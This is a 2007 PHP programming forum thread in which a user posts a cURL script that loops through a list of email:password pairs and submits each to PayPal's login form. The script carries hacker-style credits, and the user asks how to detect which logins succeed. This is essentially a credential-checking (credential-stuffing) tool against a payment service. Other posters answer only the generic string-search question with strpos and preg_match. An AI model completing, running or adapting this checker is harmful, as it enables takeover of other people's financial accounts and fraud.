Page 1 of 1

Check A Variable For A String?how

Posted: Thu Feb 01, 2007 10:26 pm
by t0pP8uZz
feyd | Please use

Code: Select all

,

Code: Select all

and [syntax="..."] tags where appropriate when posting code. Your post has been edited to reflect how we'd like it posted. Please read:  [url=http://forums.devnetwork.net/viewtopic.php?t=21171]Posting Code in the Forums[/url] to learn how to do it too.[/color]


hello, i cant seem to find a function  that will search a variable for a specifed string.

also ive tried "strpos" and not working

heres my script it attemps to login to my 2 paypal accounts then i want it to search a string to see if it actualy logged in or if details were invalid.

Code: Select all

<?
//Scripted By NoNe (Edited By t0pP8uZzz)
//For use with phpBB Extractor Extreme
//Special thanks to NoNe
//Greetz To Actaviosan, Don, 3l3ctr1c

$url="https://www.paypal.com";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0");
curl_setopt($ch, CURLOPT_REFERER, "https://www.paypal.com/");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie.txt');
curl_setopt ($ch, CURLOPT_COOKIEJAR, 'cookie.txt');
curl_setopt ($ch, CURLOPT_POST, 1);
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
$store = curl_exec ($ch);
$content = curl_exec ($ch); # This returns HTML
curl_close ($ch);

$list = file("list.txt");

foreach($list as $testit) {
     
		$testit = explode(":",$testit);
		$email = $testit[0];
		$password = $testit[1];
		$password = str_replace("\n", "", $password);
$emaila = str_replace("@", "%40", $email);

$postinfo = "login_email=" . $emaila . "&login_password=" . $password . "&submit.x=Log+In&form_charset=UTF-8";

$url="https://www.paypal.com/cgi-bin/webscr?cmd=_login-submit";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0");
curl_setopt($ch, CURLOPT_REFERER, "https://www.paypal.com/");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie.txt');
curl_setopt ($ch, CURLOPT_COOKIEJAR, 'cookie.txt');
curl_setopt ($ch, CURLOPT_POST, 1);
curl_setopt ($ch, CURLOPT_POSTFIELDS, $postinfo);
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
$store = curl_exec ($ch);
$content = curl_exec ($ch); # This returns HTML
$data = curl_exec($ch); # this will store the html of the retreived page into $data


{
ob_flush();
flush();
}
}
echo 'Done'

?>

if you can get that to check if you actually logged in or if there was a problem with the login details i will luv you, i also may donate

thanks


feyd | Please use

Code: Select all

,

Code: Select all

and [syntax="..."] tags where appropriate when posting code. Your post has been edited to reflect how we'd like it posted. Please read:  [url=http://forums.devnetwork.net/viewtopic.php?t=21171]Posting Code in the Forums[/url] to learn how to do it too.[/color]

Posted: Thu Feb 01, 2007 10:33 pm
by superdezign
You can easily search a string with preg_match().

Posted: Fri Feb 02, 2007 6:43 am
by t0pP8uZz
thanks

Posted: Fri Feb 02, 2007 6:52 am
by t0pP8uZz
can u show me some code like

If ($data == Invalid) //that will not work thou becas im searching a whole html for the string invalid, can you show me the code, to search the string invalid in variable data thanks

Posted: Fri Feb 02, 2007 8:35 am
by superdezign

Code: Select all

preg_match('/whatever/', $variable);

Posted: Fri Feb 02, 2007 9:06 am
by Ollie Saunders
strpos() is the recommended function for such things, what is going wrong?

Posted: Fri Feb 02, 2007 11:18 am
by RobertGonzalez
I second that. The manual even tells you:
Tip

Do not use preg_match() if you only want to check if one string is contained in another string. Use strpos() or strstr() instead as they will be faster
How is your string searching not working?

Posted: Fri Feb 02, 2007 9:32 pm
by t0pP8uZz
Hello guys thanks for replying, i am very thankfull.

ok the

Code: Select all

$data = curl_exec($ch); # this will store the html of the retreived page into $data
line is suppose to get the returned html after submitting the login, i dunno if it does or not but if i try strpos() with it, It does not work at all even if the string is always in the page its not working. try it for your self.

thanks in advance

Posted: Fri Feb 02, 2007 11:00 pm
by feyd
Have you tried "ssl://" instead of "https://"?

Posted: Sat Feb 03, 2007 3:44 am
by mikeq
show us how you used strpos() function.

Posted: Sat Feb 03, 2007 6:23 am
by Ollie Saunders